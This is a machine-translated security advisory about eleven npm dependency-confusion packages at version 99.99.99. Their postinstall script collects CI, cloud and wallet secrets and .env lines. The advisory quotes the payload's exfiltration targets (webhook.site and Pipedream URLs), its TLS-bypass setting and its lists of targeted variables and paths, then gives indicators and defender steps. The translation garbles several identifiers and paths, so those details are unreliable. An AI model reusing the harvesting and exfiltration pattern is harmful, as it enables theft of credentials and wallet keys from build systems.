TL; DR
Dana 17.06.2026. objavljen je jedan npm račun. jedanaest paketa koji dijele jednu svrhu i jedan korisni sadržajDeset njih nosi cryptodao- prefiks (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); jedanaesti je opseg @public-for-cdao/coreSvaki je objavljen u verziji 99.99.99 i šalje identičan bajt recon.js koji ide dalje postinstall.
Imena su pokazatelj. Čitaju se kao interni gradivni blokovi privatnog lanca alata kripto/DAO projekta. Objavljeni u javnom npm registru u vještački visokoj verziji, čekaju izgradnju. pipeline koji je konfigurisan da razreši ta imena i koji stiže do javnog npm-a prije - ili umjesto - privatnog registra. Ovo je konfuzija ovisnosti, a korisni teret je podešen tačno za mjesto gdje se očekuje da će sletjeti: CI/CD trkači.
Kada postinstall požari, recon.js prikuplja detalje o domaćinu, grubo pregledava četrdeset varijabli okruženja za oblak, CI i kripto-novčanik, čita bilo koji .env datoteke koje može pronaći i doslovno prosljeđuje redove koji nose tajnu, a zatim šalje paket dvama sakupljačima - webhook.site i Pipedream krajnju tačku — sa onemogućenom verifikacijom TLS certifikata. Kopija je također napisana pod /tmp.
Ozbiljnost: visokPogođeni ekosistem: npmSvih jedanaest paketa je bilo aktivno u trenutku pisanja ovog teksta.
Anatomija napada
Mehanizam ima četiri pokretna dijela, i nijedan od njih nije suptilan kada znate da pogledajte jedan sloj iza naziva paketa.
1. Inflacija verzija kao mamac za rješavanje problema. Svaki paket deklariše verziju 99.99.99Zabuna oko zavisnosti funkcioniše kada upravitelj paketa zatraži interno ime, također provjerava javni registar i bira najnoviju verziju nalazi. npm-ov podrazumijevani izbor za raspon znakova za umetanje ili džoker znakova je najzadovoljavajuća verzija u svakom konfigurisanom izvoru; ako su oba privatna registar i javni npm odgovor za isto ime, veći broj verzije pobjeđuje. A 99.99.99 nadmašuje u suštini bilo koju stvarnu internu verziju koju projekat ima postignuto, tako da resolver koji nije vezan za privatni izvor preferira javna — a u ovom slučaju, neprijateljska — kopija. Operater ne mora znati stvarni brojevi verzija cilja; odabir apsurdnog maksimuma uvijek garantuje neriješeno probija im put.
2. Okidač nakon instalacije. package.json povezuje korisni teret s instalacijom životni ciklus:
{ "scripts": { "postinstall": "node recon.js" } } Nije potreban uvoz paketa. Samo instaliranje — što je CI pipeline radi automatski — pokreće se recon.js.
3. Široka tajna pretraga. recon.js sastavlja niz rezultata u fazama:
- Kontekst hosta: naziv hosta, platforma i izdanje, arhitektura, korisničko ime, rad direktorij.
- Varijable okruženja: iterira fiksnu listu od oko četrdeset imena i zapisa bilo koji koji su postavljeni. Lista je otkrivajuća - ona uparuje generičke CI tokene (CI_JOB_TOKEN, LOZINKA_REGISTRA_CI, GITLAB_ACCESS_TOKEN) i oblak vjerodajnice (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) sa tajnim podacima registra i kontejnera (NPM_TOKEN, DOCKER_PASSWORD, LOZINKA_LUKE) i klaster izrazito kripto-okusom: PRIVATE_KEY, MNEMONIK, SEED_PHRASE, INFURA_API_KEY, KLJUČ_API_ALCHEMY, ETH_RPC, BSC_RPCZabilježene vrijednosti se skraćuju na prvih 50 znakova.
- .NS datoteke: ispituje listu putanja — .NS, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /početna/gitlab-runner/.env, /root/.env, a .proizvodnja/razvoj varijante — i za bilo koju datoteku koja postoji, ona filtrira sadržaj prema linijama koje se podudaraju KLJUČ|TAJNA|TOKEN|LOZINKA|PRIVATNO|MNEMONIK i ubacuje te redove **u cijelosti, neskraćene** u rezultate.
- Kontekst hosta izgradnje: navodi prvih 20 unosa od /gradi/, /početna/gitlab-runner/izgradnje/, /var/lib/gitlab-runner/, I / tmp /.
Lista putanja i lista varijabli su ponderisane prema GitLab runnerima, što ukazuje korisni teret direktno na samostalno hostovanoj CI infrastrukturi, a ne kod programera laptop. Grupiranje liste ulovljenih riba po kategorijama čini planirani ulov jasnim:
| kategorija | Dosegnute varijable / putevi |
|---|---|
| CI/CD identitet i implementacija | CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY |
| oblak | AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN |
| Registar i kontejner | NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD |
| Skladišta podataka | DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD |
| Kripto / blockchain | PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC |
| Poruke | SLACK_TOKEN, DISCORD_TOKEN |
| Na disku | .env porodica + /home/gitlab-runner/.env, /root/.env, /app/**/.envpopisi direktorija /builds/, /var/lib/gitlab-runner/ |
Kripto klaster je dio koji ovo razlikuje od generičkog CI-tajnog sweep: fraze za unos podataka u novčanik i ključevi za potpisivanje pojavljuju se samo u okruženju blockchain projekat, i oni se direktno mapiraju na kriptodao-/znak/ugovori imenovanje nosača.
4. Dvostruka eksfiltracija s onemogućenom verifikacijom. Sakupljeni niz je serijalizirano i poslano na dvije destinacije:
const targets = [ { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' }, { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 }) odbitiNeovlašteno: netačno isključuje provjere TLS certifikata za odlazne poruke pozivi. Isti podaci se ispisuju na stdout (tako da se također pojavljuju u CI zapisnicima poslova) i napisano za /tmp/.npm_recon_ .jsonGreške se tiho gutaju, tako da Neuspješno slanje ne ostavlja trag u izlazu instalacije osim jednog izviđanje instalirano na linija.
Vodeći komentar u dokumentu opisuje to kao „Konfuziju zavisnosti“ "Izviđački teret." Skraćivanje vrijednosti okruženja na 50 znakova je oblik dokaza koncepta. Ono što ga pomiče pored signala koji prikazuje samo prisustvo je .NS rukovanje: linije koje nose tajne podatke prosljeđuju se u cijelosti, a odredišta su dva radna, napadački kontrolirana sakupljača, a ne odvod koji se računa samo hitova.
Timeline
Obrazac objavljivanja je potpis jednog skriptovanog pusha, a ne jedanaest nezavisni uploadovi.
| Vrijeme (UTC, 17.06.2026.) | događaj |
|---|---|
| 03:24:58 | cryptodao-bot@99.99.99 objavljen |
| 03:25:01 | cryptodao-signer@99.99.99 |
| 03:25:04 | cryptodao-deploy@99.99.99 |
| 03:25:08 | cryptodao-backend@99.99.99 |
| 03:25:11 | cryptodao-contracts@99.99.99 |
| 03:25:14 | cryptodao-sdk@99.99.99 |
| 03:25:18 | cryptodao-utils@99.99.99 |
| 03:25:21 | cryptodao-core@99.99.99 |
| 03:25:24 | cryptodao-types@99.99.99 |
| 03:25:27 | cryptodao-config@99.99.99 |
| 03:49:59 | @public-for-cdao/core@99.99.99 — varijanta sa opsegom, ~24 minute kasnije |
Deset paketa je poslano u roku od 29 sekundi, otprilike jedan svake tri sekunde. Opseg @public-for-cdao/core uslijedilo je otprilike 24 minute kasnije — sekundu konvencija imenovanja za isti cilj, u slučaju da projekat koji ga koristi referencira interni lanac alata pod opsegom, a ne kao gola imena.
Indikatori kompromisa
| tip | pokazatelj |
|---|---|
| kolektor | hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd |
| kolektor | hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/ |
| Instalirajte kuku | postinstall: node recon.js |
| Ispuštena datoteka | /tmp/.npm_recon_<timestamp>.json |
| Oznaka trupca | [recon] <pkg>@<ver> installed on <hostname> (stdout u CI zapisnicima) |
| Behavioral | rejectUnauthorized: false na odlaznom HTTPS-u tokom instalacije |
| Koristan teret | recon.js, identično u svih jedanaest paketa (jedna zajednička verzija) |
| verzija | 99.99.99 na svakom paketu |
| paketi | cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (sve 99.99.99) |
| izdavač | aduljune / aduljune@proton.me (e-mail nije verifikovan, nema povezanog repozitorija izvora) |
Atribucija i uočeno ponašanje
Sve u vezi s klasterom ukazuje na jednu stranu. Svih jedanaest paketa je objavljeno. putem npm računa aduljune (aduljune@proton.me, neprovjerena adresa bez povezani repozitorij izvora), unutar 25-minutnog raspona, istovremeno 99.99.99 verzija, slanje recon.js čiji je sadržaj bajt po bajt identičan u svakom paket (MD5 se podudara sa svih jedanaest ekstrahovanih kopija). To je jedan korisni sadržaj utisnuto na listu imena, a ne nezavisna ponovna upotreba koda.
Spisak imena definiše željeni cilj. kriptodao-* i cdao opišite Raspored privatnog modula kripto/DAO projekta i lista sakupljenih podataka (harvest list) korisnog tereta ogledala koja nagađaju: pored generičkih CI i tajni u oblaku, to posebno poseže za PRIVATE_KEY, MNEMONIK, SEED_PHRASEi Ethereum/BSC RPC i Ključevi provajdera. .NS Putanje pretrage i popisi direktorija su GitLab-runner specifičan. Uočljivi efekat je da bilo koji pipeline prevareni da ih instaliraju imena bi prosljeđivala svoje CI tokene, ključeve u oblaku i podatke na disku .NS tajne — i, za blockchain projekat, njegov materijal za novčanik - dvama kolekcionarima trećih strana.
Ne dajemo nikakve tvrdnje o tome ko upravlja računom ili šta su planirali da urade s njim. podaci. Činjenice koje stoje same za sebe: imena ciljaju na određenu vrstu interni lanac alata, korisni teret čita i prenosi stvarne tajne vrijednosti i infrastruktura je bila aktivna.
Uticaj, trendovi i smjernice za odbrambene igrače
Konfuzija zavisnosti ostaje efikasan jer iskorištava ponašanje resolvera, a ne ranjivost u bilo kojem paketu. Nosilac ovdje je trivijalan - jedanaest gotovo praznih paketi - ali radijus eksplozije je bilo koji pipeline pogrešno preferira javni npm za interno ime. CI trkači su najgore mjesto za to: oni drže tačno tokene i .NS datoteke koje ovaj korisni teret čita i instalira zavisnosti neinteraktivno, tako da a nakon instalacije trči a da ga niko ne gleda.
Ovaj klaster se također uklapa u obrazac koji stalno viđamo: korisni tereti prilikom instalacije koji predstavljaju kao „istraživanje“ ili „izviđanje“ tokom prikupljanja stvarnih akreditacija. Oznaka u datoteci ne mijenja ono što kod radi na trkaču. Zadržavaju se dva izbora dizajna tiha aktivnost: svaka mrežna i operacija sistema datoteka je obavijena rukovatelj izuzecima koji odbacuje greške, pa tako blokirano slanje ili nedostajuća datoteka ne proizvodi dijagnostički izlaz, a jedino što se ispisuje je jedan bezopasan [izviđanje] … instalirano linija koja se stapa s normalnim razgovorom prilikom instalacije. Upotreba webhook.site a Pipedream je također namjerna praktičnost — oba su besplatna, trenutno obezbjeđene usluge prikupljanja zahtjeva, tako da operateru nisu potrebni serveri svoje vlastite, a odredišta izgledaju kao obična SaaS imena hostova u izlaznim zapisnicima.
Ekonomski aspekt je ono što ovo čini vrijednim pažnje branioca, iako... Kod operatera je jednostavan. Registracija jedanaest imena ne košta ništa, korisni teret je jedan Datoteka je kopirana jedanaest puta, a upravitelj paketa obavlja cijelo izvršavanje. Jedan pogrešno konfigurisan pipeline bilo gdje ko konzumira jedno od ovih imena plaća za cijeli iznos operacija.
Konkretni koraci za branitelje:
- Prikačite interne opsege na svoj privatni registar. Konfigurišite npm tako da ima interna imena
i opsezi se rješavaju samo u odnosu na vaš registar (mapiranje registra s opsegom .npmrc, ili proxy koji se nikada ne probija do javnog npm-a za vlastite imenske prostore). Rezervirajte svoja javna imena opsega kako ih niko drugi ne bi mogao registrirati.
- Commit lockfiles i instalirajte sa –ignore-scripts u Konferencijskoj inicijativi gdje je to izvodljivo, ili provjerite mali skup zavisnosti kojima su zaista potrebne instalacijske skripte. recon.js se ne može pokrenuti ako nakon instalacije nije izvršen/a.
- Tretirajte verziju imena koje izgleda kao da je interno, a koja iznosi 99.99.99 (ili neku drugu apsurdno visoku cijenu). kao crvena zastava u pregledu zavisnosti i praćenju registra.
- Upozorenje o izlasku tokom instalacije. A nakon instalacije koji otvara odlazni HTTPS veza — posebno s onemogućenom verifikacijom certifikata — do Vrijedi blokirati webhook.site, Pipedream ili slične servise za hvatanje zahtjeva na rubu mreže i označiti ih u zapisnicima izgradnje.
- Lovite artefakte. Provjerite trkače za /tmp/.npm_recon_*.json i za [rekonstrukcija] ... instalirano na ... marker u nedavnim CI zapisima. Ako se pronađe, rotirajte svakih akreditiv izložen tome pipeline — CI tokeni, ključevi u oblaku, tokeni registra i svi seedovi novčanika ili privatni ključevi prisutni u okruženju ili .env datotekama.
reference
U vrijeme pisanja ovog teksta nije postojalo eksterno izvještavanje o ovom klasteru; analiza gore navedeno se direktno zasniva na objavljenom sadržaju paketa




